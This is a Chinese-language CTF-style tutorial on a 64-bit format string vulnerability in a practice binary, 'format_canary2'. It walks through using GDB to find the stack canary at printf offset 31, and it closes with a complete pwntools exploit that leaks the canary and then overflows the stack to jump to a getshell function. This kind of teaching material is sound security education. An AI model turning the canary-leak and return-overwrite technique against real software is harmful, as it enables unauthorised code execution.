上篇我们介绍了一下格式化字符串漏洞的原理,并讲解了32位elf程序的格式化字符串漏洞的利用。

这篇我们来讲解一下64位格式化字符串漏洞该如何利用

0x00 题目分析

例题下载

1)查看文件信息

按照国际惯例,先查看文件信息

$ file format_canary2
$ checksec format_canary2

64位elf程序,开启了canary保护

2)查看程序流程

运行程序,查看大概流程

程序提供两次输入两次输出

3)分析程序&查找漏洞点

首先查看main()函数

gets函数很明显存在栈溢出,printf函数存在格式化字符串漏洞

继续看getshell函数

getshell函数会给我们返回个shell

那么这道题的思路就很清晰了,我们利用格式化字符串漏洞泄露出canary的值,然后再利用栈溢出,控制程序返回到getshell函数即可。

0x01 编写脚本

64位和32位的格式化字符串漏洞原理是一样的,只不过有一些小小的不同

我们先用GDB来调试程序,并在printf函数下断点

$ gdb ./format_canary2
gdb-peda$ b * printf

我们先反汇编一下main()函数

我们看到,canary的值在rbp-0x8的位置

我们随便输入一些东西,查看$rbp-0x8的值,然后查看栈空间

我们能够在栈空间找到canary的值

我们从头查一下,第26位是canary的值,但是这里要注意,64位和32位不同,众所周知64的程序传参是前六个存在六个寄存器中,从第七个开始入栈,所以在利用格式化字符串漏洞时会有六个偏移。

因此我们需要将26+6-1,也就是偏移31

我们重新调试程序,输入%31$p,这里不要输入$x

这里我们已经可以成功泄露canary的值了,我们接着调试程序

还是在printf函数处下断点,这里断在第二个printf函数

输入字符,然后查看栈空间

从我们输入到canary一共是25*8个字节

从canary到返回地址是1*8个字节

那么我们就可以构造exp了

附上完整EXP

from pwn import *

r = process('./format_canary2')

leak = '%31$p'
r.sendline(leak)
canary = r.recv(18)[2:]
print 'Canary >>>>>> ' + canary
canary_valu = int(canary,16)
getshell = 0x00400805

payload = 'a' * 25 * 8
payload += p64(canary_valu)
payload += 'a' * 1 * 8
payload += p64(getshell)

r.sendline(payload)

r.interactive()